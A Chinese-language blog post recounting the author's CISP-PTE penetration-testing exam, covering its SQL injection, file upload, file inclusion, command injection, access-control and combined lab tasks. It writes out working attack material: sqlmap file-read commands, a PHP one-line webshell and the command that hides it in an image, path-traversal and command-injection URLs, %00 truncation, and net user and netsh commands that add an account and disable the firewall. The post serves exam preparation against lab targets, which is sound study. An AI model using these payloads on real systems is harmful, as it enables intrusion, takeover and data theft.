0x00 感谢的话
首先非常感谢我的两位老师,松老师和光老师的认真负责。同时也感谢站内大佬@00勇士王子 对靶场的思路总结。
0x01 考试题型
考试由20道选择题(每题1分),5道基础题(每题10分)以及1道综合题(每题10分,共计30分)组成。更多的细节报名的时候老师都会说,我就不啰嗦了,听老师的。
先说选择题,选择题考试的时候基本上都是没见过的题,能拿多少分我考试的时候也没有底。主要还是多看题以及平常多看新闻积累,比如wanna cry用的是哪个漏洞等。
再说基础题,我当时考的题目有:SQL注入,文件上传,文件包含,代码审计,失效的访问控制。
SQL注入
考试的时候吧,是没见过的题,但是原理都一样。我尝试手工注入发现闭合不上的时候就果断上SQLMAP了,用BURP抓个包。
sqlmap.py -r xxxxx\1.txt --level=5 --risk=3 --batch --dbs
后来发现“--dbs”跑出来的数据很多,于是又重新审题,发现是用SQL注入读取key,于是现从工具中学的怎么读文件。
sqlmap.py -r xxxxx/1.txt --level=5 --risk=3 --batch --file-load=/key
比较幸运的是key在根目录下,SQLMAP跑了一会儿就存到本地了,SQLMAP里面是有路径的,不用担心找不到文件位置,不过还是得说一句,查看文件的时候记得复制路径,不要自己翻文件夹,因为那个APPDATA文件夹是隐藏的。
后来问过大佬才知道,原来这题考的是万能密码,就是 a' or '1' = '1 这个,注入点在用户名那。
文件上传
文件上传和练习的套路基本是一样的,估计还是文件类型、文件头、文件后缀等进行校验,但是考试这个时间比较紧,所以我就直接写了个图片马传了上去。
copy 1.gif /a + 2.txt /b 3.gif
2.txt 里面简单的写了个马:
<?php @EVal($_POST["x"]);?>
文件包含
文件包含这个挺坑人的,后来问了老师才明白原因在哪里。文件包含主要是data和php以及远程或本地包含。但是!这几种方法都没有效果。先说坑人的地方,文件包含语句的回显在源代码中的注释位置,无论输入什么命令都包含在注释中。于是想了半天,闭合注释,那个注释就长这样儿(为了避免误导,只有加粗的是)。
<!-- -->
大家看好了哈,这注释就长这样儿,还有一个但是,这题跟注释一点儿关系都没有!!!!!!!后来问老师才知道,只是回显的位置在注释这里而已!
重点来了,在我尝试所有的方法之后,在我已经认为自己凉了之后,突然灵光一闪,为什么不直接包含这个文件呢?
http://x.x.x.x:xx/x/x?view=../key.cisp
做题做多了老想着是key.php,看了php代码才发现原来key在key.cisp,估计是出题老师的好心提醒,不然读文件成功了没读对文件也是一个糟心的事情。
事后问过大佬才知道,原来这题还可以phphpp://。
代码审计
这个也不知道算不算代码审计,或者说是叫命令执行,练习的时候记得闭合。
老师教的:
http://x.x.x.x:xx/x/x.php?a=:);system('cat key.php'); //
我从大佬那学的:
http://x.x.x.x:xx/x/x.php?a=:);system(“cat key.php
两种方法都能做出来,如果做不出来,一定以老师的为准。 请相信,老师一定更专业!
失效的访问控制
这道题比练习的时候考的要简单,改一个IsAdmin=true和Username=admin(base64加密后的),没啥可说的坑。
综合题
综合题值得说一说,我运气还不错,抽到的综合题是卫星系统和图片管理系统综合在一起的综合题。(怎么感觉说的那么别扭?)
首先思路还是一样的,NMAP扫端口,扫完端口用BURP抓包扫下目录。为什么非得用BURP呢?因为BURP请求头带认证。哦,对,扫目录的时候一定要把payloads最底下的url编码的勾点掉,不需要编码。
扫到登录后台之后,需要输入用户名和密码才能访问,一般是:root/root,admin/123456,root/空。然后就进后台数据库了。进/image/这个就能看到第6个key。
进后台之后是一个上传图片的系统,然后就和练习的一样,写的图片马传上去。
好的,坑来了。
上传的马还是做文件上传的马,考试给的大马由于上传限制不能超过1Mb,所以还是得传图片马,我记得我是用%00截断传的。
然后,蚁剑连接,死活就是连不上啊!前面选择题也不知道能对多少,咱也不敢不答,掰手指头算算目前保准的只有60分,万一就差10分呢?万一呢?这画面太吓人我不敢想,还是老老实实扣题。但是冥冥中我有预感,文件包含都做出来了,这道题也能做出来!
看了一下时间,还剩下1个小时,按理说有一个添加认证头的地方,于是我清空了BURP的抓包历史,可是翻遍了历史记录都没找到能填写认证头的东西。于是灵光又一闪,试试base64编码,两个编码都点了,抱着试试看的心态点了一下测试连接,成功。
嗯。成功。成功?嘿,成了!赶紧点进去找第7个key。
还剩下最后一个,肯定是连3389。于是通过蚁剑上传开启3389的脚本,改Administrator的密码(net user Administrator `1qaz /add),关闭防火墙(netsh advfirewall set allprofiles state off),在回收站里找到了key。这一步一定要冷静,万一点到清空回收站就得重来了。
事后问过大佬才知道,蚁剑连不上用菜刀啊!
最后检查一下格式:key{12345678}。
0x02 总结
说实话,当我把题全做出来之后,我并没有太强的喜悦感,也许是我紧张过头了,毕竟考试前焦虑的失眠。直到看漫画中说:武术不是为了求胜,而是为了超越自我。参加天下第一武道会不是以胜利为目的,主要是为检测自己的实力和积累经验。
从考证的角度说,虽然网上有说考PTE没啥含金量的,但是对于我这样从不会到会的来说还是有一定难度的。不过确实没感觉自己的水平有特别高的提高,所以为了提升自己的技术水平,还是要努力的学习才对,目前的想法是考虑考虑OSCP。
最后,希望本文能给准备考试的师傅带来一丢丢的帮助,愿顺利通过,迈向更高的境界。